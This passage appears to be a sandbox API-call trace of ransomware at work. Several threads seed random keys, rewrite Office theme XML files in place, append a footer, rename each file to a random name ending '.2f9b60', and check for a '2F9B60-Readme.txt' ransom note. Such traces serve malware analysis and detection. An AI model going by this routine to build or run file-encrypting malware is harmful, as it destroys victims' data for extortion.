RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x1079c0 [0107.430] wcscpy (in: _Dest=0x1079c0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0107.430] wcscat (in: _Dest=0x1079c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0107.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0107.430] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1079c0) returned 1 [0107.430] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce10dc0) returned 1 Thread: id = 611 os_tid = 0x1070 [0095.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\technic.xml")) returned 0x20 [0104.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml", dwFileAttributes=0x20) returned 1 [0105.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\technic.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1774 [0105.470] GetFileSizeEx (in: hFile=0x1774, lpFileSize=0x23e0fb40 | out: lpFileSize=0x23e0fb40*=962) returned 1 [0105.470] SetFilePointerEx (in: hFile=0x1774, liDistanceToMove=0x3be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.470] ReadFile (in: hFile=0x1774, lpBuffer=0x23e0fac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23e0fb08, lpOverlapped=0x0 | out: lpBuffer=0x23e0fac0*, lpNumberOfBytesRead=0x23e0fb08*=0x4, lpOverlapped=0x0) returned 1 [0105.495] SetFilePointerEx (in: hFile=0x1774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b020 [0105.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b050 [0105.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859a00 [0105.496] NtQuerySystemTime (in: CurrentTime=0x23e0fa00 | out: CurrentTime=0x23e0fa00*=132462177109858000) returned 0x0 [0105.496] RtlRandomEx (in: Seed=0x23e0f9f0 | out: Seed=0x23e0f9f0) returned 0x2445271c [0105.496] RtlRandomEx (in: Seed=0x23e0f9f0 | out: Seed=0x23e0f9f0) returned 0x46b7b227 [0105.496] RtlRandomEx (in: Seed=0x23e0f9f0 | out: Seed=0x23e0f9f0) returned 0x7684ff58 [0105.496] RtlRandomEx (in: Seed=0x23e0f9f0 | out: Seed=0x23e0f9f0) returned 0x4b8a840d [0105.496] RtlRandomEx (in: Seed=0x23e0f9f0 | out: Seed=0x23e0f9f0) returned 0x3ce1ee87 [0105.496] RtlRandomEx (in: Seed=0x23e0f9f0 | out: Seed=0x23e0f9f0) returned 0x2f94f7c6 [0105.496] RtlRandomEx (in: Seed=0x23e0f9f0 | out: Seed=0x23e0f9f0) returned 0x4a4b20c1 [0105.496] RtlRandomEx (in: Seed=0x23e0f9f0 | out: Seed=0x23e0f9f0) returned 0x4bec910c [0105.496] RtlRandomEx (in: Seed=0x23e0f9f0 | out: Seed=0x23e0f9f0) returned 0x57d6b965 [0105.849] RtlRandomEx (in: Seed=0x23e0f9f0 | out: Seed=0x23e0f9f0) returned 0x5cd35c5b [0105.849] RtlRandomEx (in: Seed=0x23e0f9f0 | out: Seed=0x23e0f9f0) returned 0x5cf89c77 [0105.849] RtlRandomEx (in: Seed=0x23e0f9f0 | out: Seed=0x23e0f9f0) returned 0x56a5d33b [0105.849] RtlRandomEx (in: Seed=0x23e0f9f0 | out: Seed=0x23e0f9f0) returned 0x6620263a [0105.850] RtlRandomEx (in: Seed=0x23e0f9f0 | out: Seed=0x23e0f9f0) returned 0x75e95043 [0105.850] RtlRandomEx (in: Seed=0x23e0f9f0 | out: Seed=0x23e0f9f0) returned 0x59c361c3 [0105.850] RtlRandomEx (in: Seed=0x23e0f9f0 | out: Seed=0x23e0f9f0) returned 0x1f1c4ae7 [0105.850] RtlRandomEx (in: Seed=0x23e0f9f0 | out: Seed=0x23e0f9f0) returned 0x8aa5a8e [0105.851] RtlRandomEx (in: Seed=0x23e0f9f0 | out: Seed=0x23e0f9f0) returned 0x713160cc [0105.851] RtlRandomEx (in: Seed=0x23e0f9f0 | out: Seed=0x23e0f9f0) returned 0x50db25fb [0105.851] RtlRandomEx (in: Seed=0x23e0f9f0 | out: Seed=0x23e0f9f0) returned 0x7d7e0b [0105.851] RtlRandomEx (in: Seed=0x23e0f9f0 | out: Seed=0x23e0f9f0) returned 0x4f25bbfc [0105.851] RtlRandomEx (in: Seed=0x23e0f9f0 | out: Seed=0x23e0f9f0) returned 0x6312faf4 [0105.851] RtlRandomEx (in: Seed=0x23e0f9f0 | out: Seed=0x23e0f9f0) returned 0x2b5b06c9 [0105.851] RtlRandomEx (in: Seed=0x23e0f9f0 | out: Seed=0x23e0f9f0) returned 0x827dc79 [0105.851] RtlRandomEx (in: Seed=0x23e0f9f0 | out: Seed=0x23e0f9f0) returned 0x2ab9d5c4 [0105.865] RtlRandomEx (in: Seed=0x23e0f9f0 | out: Seed=0x23e0f9f0) returned 0x6a873bd [0105.970] RtlRandomEx (in: Seed=0x23e0f9f0 | out: Seed=0x23e0f9f0) returned 0x6bdc0ab [0105.970] RtlRandomEx (in: Seed=0x23e0f9f0 | out: Seed=0x23e0f9f0) returned 0x5794399 [0105.970] RtlRandomEx (in: Seed=0x23e0f9f0 | out: Seed=0x23e0f9f0) returned 0x2154f821 [0105.970] RtlRandomEx (in: Seed=0x23e0f9f0 | out: Seed=0x23e0f9f0) returned 0xaee9a73 [0105.970] RtlRandomEx (in: Seed=0x23e0f9f0 | out: Seed=0x23e0f9f0) returned 0x51dfda81 [0105.970] RtlRandomEx (in: Seed=0x23e0f9f0 | out: Seed=0x23e0f9f0) returned 0x65c39684 [0106.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ab40 [0106.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f190 [0106.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b080 [0106.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f190) returned 1 [0106.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859a00) returned 1 [0106.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b020) returned 1 [0106.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0106.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f190 [0106.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b020 [0106.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b020) returned 1 [0106.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f3d170 [0106.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f485a0 [0106.011] ReadFile (in: hFile=0x1774, lpBuffer=0x41f3d170, nNumberOfBytesToRead=0x3c2, lpNumberOfBytesRead=0x23e0f9f0, lpOverlapped=0x0 | out: lpBuffer=0x41f3d170*, lpNumberOfBytesRead=0x23e0f9f0*=0x3c2, lpOverlapped=0x0) returned 1 [0106.012] SetFilePointerEx (in: hFile=0x1774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.012] WriteFile (in: hFile=0x1774, lpBuffer=0x41f485a0*, nNumberOfBytesToWrite=0x3c2, lpNumberOfBytesWritten=0x23e0f9f4, lpOverlapped=0x0 | out: lpBuffer=0x41f485a0*, lpNumberOfBytesWritten=0x23e0f9f4*=0x3c2, lpOverlapped=0x0) returned 1 [0106.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced84f0 [0106.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced83a0 [0106.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced83a0) returned 1 [0106.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f485a0) returned 1 [0106.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f3d170) returned 1 [0106.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f190) returned 1 [0106.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0106.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1ced83a0 [0106.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0106.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f190 [0106.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7860 [0106.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7860) returned 1 [0106.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1ced7860 [0106.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced84c0 [0106.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8370 [0106.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8370) returned 1 [0106.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f190) returned 1 [0106.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0106.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x1695e0 [0106.037] SetFilePointerEx (in: hFile=0x1774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0106.037] WriteFile (in: hFile=0x1774, lpBuffer=0x1695e0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x23e0fb10, lpOverlapped=0x0 | out: lpBuffer=0x1695e0*, lpNumberOfBytesWritten=0x23e0fb10*=0x108, lpOverlapped=0x0) returned 1 [0106.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0106.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f190 [0106.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7e60 [0106.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7e60) returned 1 [0106.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0106.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7e60 [0106.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced82b0 [0106.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced82b0) returned 1 [0106.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f190) returned 1 [0106.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0106.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f630 [0106.064] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="a2") returned 2 [0106.065] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="99") returned 2 [0106.065] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="b9") returned 2 [0106.065] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="98") returned 2 [0106.065] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="c3") returned 2 [0106.065] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="42") returned 2 [0106.065] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="dc") returned 2 [0106.065] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="51") returned 2 [0106.065] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="d4") returned 2 [0106.065] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="47") returned 2 [0106.065] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="03") returned 2 [0106.065] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="ac") returned 2 [0106.065] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="53") returned 2 [0106.065] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="4e") returned 2 [0106.065] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="bc") returned 2 [0106.065] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="25") returned 2 [0106.065] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="0f") returned 2 [0106.065] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="0a") returned 2 [0106.065] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="1b") returned 2 [0106.065] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="29") returned 2 [0106.065] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="1e") returned 2 [0106.065] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="bb") returned 2 [0106.065] RtlInitAnsiString (in: DestinationString=0x23e0fb88, SourceString="a299b998c342dc51d44703ac534ebc250f0a1b291ebb" | out: DestinationString="a299b998c342dc51d44703ac534ebc250f0a1b291ebb") [0106.066] RtlAnsiStringToUnicodeString (in: DestinationString=0x23e0fb58, SourceString="a299b998c342dc51d44703ac534ebc250f0a1b291ebb", AllocateDestinationString=1 | out: DestinationString="a299b998c342dc51d44703ac534ebc250f0a1b291ebb") returned 0x0 [0106.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ced55c0 [0106.066] RtlFreeAnsiString (AnsiString="a") [0106.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f630) returned 1 [0106.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d000) returned 1 [0106.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7e60) returned 1 [0106.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1695e0) returned 1 [0106.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7860) returned 1 [0106.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced84c0) returned 1 [0106.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced83a0) returned 1 [0106.067] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced84f0) returned 1 [0106.067] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b050) returned 1 [0106.067] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ab40) returned 1 [0106.067] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b080) returned 1 [0106.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279370 [0106.067] wcscat (in: _Dest=0x20279370, _Source="a299b998c34" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\a299b998c34") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\a299b998c34" [0106.067] wcscat (in: _Dest=0x20279370, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\a299b998c34.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\a299b998c34.2f9b60" [0106.067] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\a299b998c34.2f9b60", NtPathName=0x23e0fb30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\a299b998c34.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0106.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x1187b0 [0106.067] NtSetInformationFile (FileHandle=0x1774, IoStatusBlock=0x23e0fbd0, FileInformation=0x1187b0, Length=0xc8, FileInformationClass=0xa) returned 0x0 [0107.191] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1187b0) returned 1 [0107.191] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecc2e0) returned 1 [0107.191] NtQueryInformationFile (in: FileHandle=0x1774, IoStatusBlock=0x23e0fb98, FileInformation=0x23e0fba8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x23e0fb98, FileInformation=0x23e0fba8) returned 0x0 [0107.191] NtSetInformationFile (FileHandle=0x1774, IoStatusBlock=0x23e0fb98, FileInformation=0x23e0fba8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0107.197] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279370) returned 1 [0107.197] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced55c0) returned 1 [0107.197] FlushFileBuffers (hFile=0x1774) returned 1 [0107.421] CloseHandle (hObject=0x1774) returned 1 [0107.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x1079c0 [0107.421] wcscpy (in: _Dest=0x1079c0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0107.422] wcscat (in: _Dest=0x1079c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0107.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0107.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1079c0) returned 1 [0107.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce10e70) returned 1 Thread: id = 612 os_tid = 0x1074 [0095.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\thatch.xml")) returned 0x20 [0103.473] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml", dwFileAttributes=0x20) returned 1 [0103.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\thatch.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x151c [0103.605] GetFileSizeEx (in: hFile=0x151c, lpFileSize=0x28c4fc40 | out: lpFileSize=0x28c4fc40*=961) returned 1 [0103.605] SetFilePointerEx (in: hFile=0x151c, liDistanceToMove=0x3bd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.605] ReadFile (in: hFile=0x151c, lpBuffer=0x28c4fbc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x28c4fc08, lpOverlapped=0x0 | out: lpBuffer=0x28c4fbc0*, lpNumberOfBytesRead=0x28c4fc08*=0x4, lpOverlapped=0x0) returned 1 [0103.641] SetFilePointerEx (in: hFile=0x151c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd30 [0103.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85feb0 [0103.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f880 [0103.641] NtQuerySystemTime (in: CurrentTime=0x28c4fb00 | out: CurrentTime=0x28c4fb00*=132462177091450000) returned 0x0 [0103.641] RtlRandomEx (in: Seed=0x28c4faf0 | out: Seed=0x28c4faf0) returned 0x54b4a330 [0103.641] RtlRandomEx (in: Seed=0x28c4faf0 | out: Seed=0x28c4faf0) returned 0x6348c22c [0103.641] RtlRandomEx (in: Seed=0x28c4faf0 | out: Seed=0x28c4faf0) returned 0x6edc552e [0103.641] RtlRandomEx (in: Seed=0x28c4faf0 | out: Seed=0x28c4faf0) returned 0x1471a619 [0103.641] RtlRandomEx (in: Seed=0x28c4faf0 | out: Seed=0x28c4faf0) returned 0x6ef90a03 [0103.641] RtlRandomEx (in: Seed=0x28c4faf0 | out: Seed=0x28c4faf0) returned 0x344ffebc [0103.641] RtlRandomEx (in: Seed=0x28c4faf0 | out: Seed=0x28c4faf0) returned 0xd421e25 [0103.641] RtlRandomEx (in: Seed=0x28c4faf0 | out: Seed=0x28c4faf0) returned 0x61bca047 [0103.641] RtlRandomEx (in: Seed=0x28c4faf0 | out: Seed=0x28c4faf0) returned 0x54f3d3ff [0103.641] RtlRandomEx (in: Seed=0x28c4faf0 | out: Seed=0x28c4faf0) returned 0x4f86745e [0103.641] RtlRandomEx (in: Seed=0x28c4faf0 | out: Seed=0x28c4faf0) returned 0x419c83dc [0103.641] RtlRandomEx (in: Seed=0x28c4faf0 | out: Seed=0x28c4faf0) returned 0x14e2e28b [0103.641] RtlRandomEx (in: Seed=0x28c4faf0 | out: Seed=0x28c4faf0) returned 0x3a06f703 [0103.641] RtlRandomEx (in: Seed=0x28c4faf0 | out: Seed=0x28c4faf0) returned 0x5e0063ca [0103.641] RtlRandomEx (in: Seed=0x28c4faf0 | out: Seed=0x28c4faf0) returned 0x52601684 [0103.641] RtlRandomEx (in: Seed=0x28c4faf0 | out: Seed=0x28c4faf0) returned 0x499fe09f [0103.641] RtlRandomEx (in: Seed=0x28c4faf0 | out: Seed=0x28c4faf0) returned 0x688bd11c [0103.641] RtlRandomEx (in: Seed=0x28c4faf0 | out: Seed=0x28c4faf0) returned 0x1e4a30d6 [0103.641] RtlRandomEx (in: Seed=0x28c4faf0 | out: Seed=0x28c4faf0) returned 0x4a55767 [0103.641] RtlRandomEx (in: Seed=0x28c4faf0 | out: Seed=0x28c4faf0) returned 0x3ae88e04 [0103.641] RtlRandomEx (in: Seed=0x28c4faf0 | out: Seed=0x28c4faf0) returned 0x4d211a20 [0103.642] RtlRandomEx (in: Seed=0x28c4faf0 | out: Seed=0x28c4faf0) returned 0x5c008f18 [0103.642] RtlRandomEx (in: Seed=0x28c4faf0 | out: Seed=0x28c4faf0) returned 0x353e6a70 [0103.642] RtlRandomEx (in: Seed=0x28c4faf0 | out: Seed=0x28c4faf0) returned 0x2d061885 [0103.642] RtlRandomEx (in: Seed=0x28c4faf0 | out: Seed=0x28c4faf0) returned 0x58871185 [0103.642] RtlRandomEx (in: Seed=0x28c4faf0 | out: Seed=0x28c4faf0) returned 0x5d5fa641 [0103.642] RtlRandomEx (in: Seed=0x28c4faf0 | out: Seed=0x28c4faf0) returned 0x62feba42 [0103.642] RtlRandomEx (in: Seed=0x28c4faf0 | out: Seed=0x28c4faf0) returned 0x6f464f24 [0103.642] RtlRandomEx (in: Seed=0x28c4faf0 | out: Seed=0x28c4faf0) returned 0x693fd424 [0103.642] RtlRandomEx (in: Seed=0x28c4faf0 | out: Seed=0x28c4faf0) returned 0x76d41c2b [0103.642] RtlRandomEx (in: Seed=0x28c4faf0 | out: Seed=0x28c4faf0) returned 0x1a561874 [0103.642] RtlRandomEx (in: Seed=0x28c4faf0 | out: Seed=0x28c4faf0) returned 0x304393f5 [0103.650] ReadFile (in: hFile=0x151c, lpBuffer=0x41ee2d00, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x28c4faf0, lpOverlapped=0x0 | out: lpBuffer=0x41ee2d00*, lpNumberOfBytesRead=0x28c4faf0*=0x3c1, lpOverlapped=0x0) returned 1 [0103.650] SetFilePointerEx (in: hFile=0x151c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.650] WriteFile (in: hFile=0x151c, lpBuffer=0x41ee6910*, nNumberOfBytesToWrite=0x3c1, lpNumberOfBytesWritten=0x28c4faf4, lpOverlapped=0x0 | out: lpBuffer=0x41ee6910*, lpNumberOfBytesWritten=0x28c4faf4*=0x3c1, lpOverlapped=0x0) returned 1 [0104.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7740 [0104.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8010 [0104.070] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8010) returned 1 [0104.070] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ee6910) returned 1 [0104.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ee2d00) returned 1 [0104.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503990) returned 1 [0104.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0104.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1ced8010 [0104.071] SetFilePointerEx (in: hFile=0x151c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0104.071] WriteFile (in: hFile=0x151c, lpBuffer=0x169800*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x28c4fc10, lpOverlapped=0x0 | out: lpBuffer=0x169800*, lpNumberOfBytesWritten=0x28c4fc10*=0x106, lpOverlapped=0x0) returned 1 [0104.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0104.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503890 [0104.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8606f0 [0104.188] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8606f0) returned 1 [0104.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0104.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8606f0 [0104.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f7f0 [0104.188] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f7f0) returned 1 [0104.188] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503890) returned 1 [0104.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 